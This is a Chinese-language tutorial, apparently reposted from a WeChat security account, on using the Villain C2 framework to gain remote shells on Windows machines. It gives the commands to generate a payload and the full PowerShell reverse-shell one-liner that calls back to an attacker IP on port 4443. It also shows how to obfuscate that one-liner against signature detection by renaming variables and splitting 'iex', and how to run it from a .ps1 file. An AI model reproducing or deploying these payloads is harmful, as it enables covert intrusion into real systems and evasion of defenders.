简介
Villain是一个C2框架,可以处理多个TCP套接字和套接字。基于 HoaxShell 的反向 shell,通过附加功能(命令、实用程序等)增强其功能,并在连接的同级服务器(在不同计算机上运行的 Villain 实例)之间共享它们。
安装
kali安装:
sudo apt install villain
安装成功之后目录如下:
/usr/share/villain
启动
Villain
使用如下指令来查看有那些载荷:
help generate
使用如下命令生成一个载荷到目标机器上运行:
generate payload=windows/netcat/powershell_reverse_tcp lhost=eth0
运行之后成功上线。
使用sessions命令来查看shell。
然后通过shell命令进入即可。
shell Session ID
但是我们一般拿到的都是cmd的,我们总不能登录到GUI页面去起一个powershell去执行把 不现实。
在这之前需要将生成的payload特征去掉一下:
原始的payload
Start-Process $PSHOMEpowershell.exe -ArgumentList {$client = New-Object System.Net.Sockets.TCPClient('192.168.213.136',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()} -WindowStyle Hidden
这里需要将这些变量都替换成其他字符。
如下:
Start-Process $PSHOMEpowershell.exe -ArgumentList {$bb5ad45b822b465cba19d00f3e84317f = New-Object System.Net.Sockets.TCPClient('192.168.213.136',4443);$db163451899b4c9ea79a8fec1c4ef2f4 = $bb5ad45b822b465cba19d00f3e84317f.GetStream();[byte[]]$f15c3a04fbbc49e39d0d2d9686f5cf21 = 0..65535|%{0};while(($i = $db163451899b4c9ea79a8fec1c4ef2f4.Read($f15c3a04fbbc49e39d0d2d9686f5cf21, 0, $f15c3a04fbbc49e39d0d2d9686f5cf21.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($f15c3a04fbbc49e39d0d2d9686f5cf21,0, $i);$sendback = (ie''x $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pw''d).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$db163451899b4c9ea79a8fec1c4ef2f4.Write($sendbyte,0,$sendbyte.Length);$db163451899b4c9ea79a8fec1c4ef2f4.Flush()};$bb5ad45b822b465cba19d00f3e84317f.Close()} -WindowStyle Hidden
这里可以使用python什么的去生成即可。
替换之后将前面和后面都给他删掉。
改掉之后就变成了:
$bb5ad45b822b465cba19d00f3e84317f = New-Object System.Net.Sockets.TCPClient('192.168.213.136',4443);$db163451899b4c9ea79a8fec1c4ef2f4 = $bb5ad45b822b465cba19d00f3e84317f.GetStream();[byte[]]$f15c3a04fbbc49e39d0d2d9686f5cf21 = 0..65535|%{0};while(($i = $db163451899b4c9ea79a8fec1c4ef2f4.Read($f15c3a04fbbc49e39d0d2d9686f5cf21, 0, $f15c3a04fbbc49e39d0d2d9686f5cf21.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($f15c3a04fbbc49e39d0d2d9686f5cf21,0, $i);$sendback = (ie''x $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pw''d).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$db163451899b4c9ea79a8fec1c4ef2f4.Write($sendbyte,0,$sendbyte.Length);$db163451899b4c9ea79a8fec1c4ef2f4.Flush()};$bb5ad45b822b465cba19d00f3e84317f.Close()
我们尝试去powershell中运行:
可以看到成功上线:
我们将这个文件放到一个.ps1文件中即可。
这里的第一条命令是解决 PowerShell 禁止运行脚本的问题,后面就是我们的生成的payload了。
然后通过如下命令运行:
powershell -File s1.ps1
成功上线:
原文始发于微信公众号(Relay学安全):Villain C2
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论